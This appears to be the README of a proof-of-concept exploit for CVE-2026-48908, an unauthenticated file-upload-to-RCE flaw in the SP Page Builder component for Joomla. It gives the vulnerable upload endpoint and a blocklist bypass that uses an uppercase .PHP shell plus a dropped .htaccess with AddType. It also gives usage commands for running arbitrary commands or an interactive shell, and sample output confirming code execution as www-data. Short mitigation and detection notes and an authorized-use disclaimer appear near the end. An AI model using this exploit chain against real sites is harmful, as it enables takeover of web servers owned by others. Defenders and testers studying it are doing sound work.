
Proof-of-concept exploit for CVE-2026-48908, a critical (CVSS 4.0 = 10.0) unauthenticated
remote-code-execution vulnerability in the SP Page Builder component (com_sppagebuilder) for
Joomla, by JoomShaper.
| CVE | CVE-2026-48908 |
| Weakness | CWE-284 Improper Access Control → Unauthenticated Arbitrary File Upload → RCE |
| Component | SP Page Builder (com_sppagebuilder) for Joomla |
| Affected | 1.0.0 – 6.6.1 |
| Fixed in | 6.6.2 |
| Privileges required | None (pre-authentication) |
| User interaction | None |
SP Page Builder exposes the controller task asset.uploadCustomIcon to handle uploading a
custom icon-font package:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
In affected versions this task is reachable without authentication and without a valid anti-CSRF
token. It accepts a ZIP archive (multipart field custom_icon) and extracts its contents into a
publicly web-served directory under the document root:
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
Because the upload is reachable pre-auth and the extracted files land in the web root, an attacker can write attacker-controlled files to a browsable location and reach them over HTTP.
Some builds add a server-side filename filter on the archive entries. This PoC defeats a common implementation of it with a three-step chain:
.php, .phtml, .phar,
.php3–.php8, .pht, .inc, … but it does not normalise case, so .PHP (and other
mixed-case variants) and .htaccess pass through.<FilesMatch "\.php$">)
only executes lowercase .php, so an uploaded .PHP is initially served as source text, not run..htaccess override. A .htaccess (which the blocklist also misses) containing
is dropped alongside the payload. Where
permits it, this registers as PHP and the uploaded shell .The PoC always packages a valid icon-font structure (selection.json, style.css,
fonts/<name>.ttf) so the upload is accepted, then adds the shell.
Adaptive — it walks a list of php-executable extensions (least footprint first), then a
.htaccess fallback, and stops at the first that actually runs code:
fonts/<shell>.<ext> for each of
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. No .htaccess.
Different SP Page Builder filters block different sets, and different Apache configs execute
different extensions — so this finds whatever combination the target allows and runs.fonts/.htaccess + fonts/<shell>.PHP (fallback) — only if every direct attempt fails.
The dropped .htaccess (AddType … .PHP) forces an uppercase .PHP to execute where
AllowOverride permits it (this is what 5.4.6-style hosts need).It stops at the first method that executes and prints which one landed. Every accepted upload is
tracked, so --cleanup removes all of them (multiple tries can leave write-only dirs).
Depending on version and server hardening the result varies, and the PoC states it explicitly (see Outcomes below): full RCE, file-write-only (PHP disabled /
AllowOverride None), patched (admin-only), or not vulnerable.
pip install -r requirements.txt # requests
# confirm the vulnerability and prove code execution (runs `id`)
python3 sppb_rce.py https://target.example
# run a specific command
python3 sppb_rce.py --url target.example -c "uname -a"
# interactive pseudo-shell
python3 sppb_rce.py https://target.example --shell
# only check; run no command
python3 sppb_rce.py https://target.example --check
# remove the uploaded payload directory afterwards
python3 sppb_rce.py https://target.example --cleanup
The target may be given as a positional argument or via --url, with or without a scheme.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
The PoC always tells you the verdict for the target:
404 to anyone without
it — it is not a world-open backdoor.--cleanup deletes the payload directory it created.id, an arithmetic marker)./media/, /images/, /tmp) via the FPM pool or
php_admin_flag engine off.AllowOverride None on those directories so a dropped .htaccess cannot re-enable handlers..php/.PHP under media/.../iconfont/, new Super User
accounts, and planted file managers.Joomla SP Page Builder exploit · com_sppagebuilder unauthenticated RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon arbitrary file upload · Joomla remote code execution · pentest exploit script.
This software is published for educational purposes and authorized security testing only — e.g. penetration tests you have written permission to perform, bug-bounty programs that include the target in scope, CTF competitions, and your own lab systems.
Accessing, modifying, or disrupting computer systems without authorization is illegal in most jurisdictions. You are solely and entirely responsible for your own actions. By using, downloading, or distributing this code you agree that:
If you do not agree with these terms, do not use this software. As with any publicly available exploit/PoC, it is shared in good faith to help defenders detect, understand and remediate the vulnerability; what you do with it is on you.
MIT — see LICENSE.
AddType application/x-httpd-php .PHPAllowOverride.PHP| Output | Meaning | Exit |
|---|
CODE EXECUTION CONFIRMED via '<method>' | Vulnerable — full unauth RCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | File-write only (AllowOverride None / PHP disabled in /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | Patched — upload now requires admin auth | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | Not exploitable / component not present | 2 |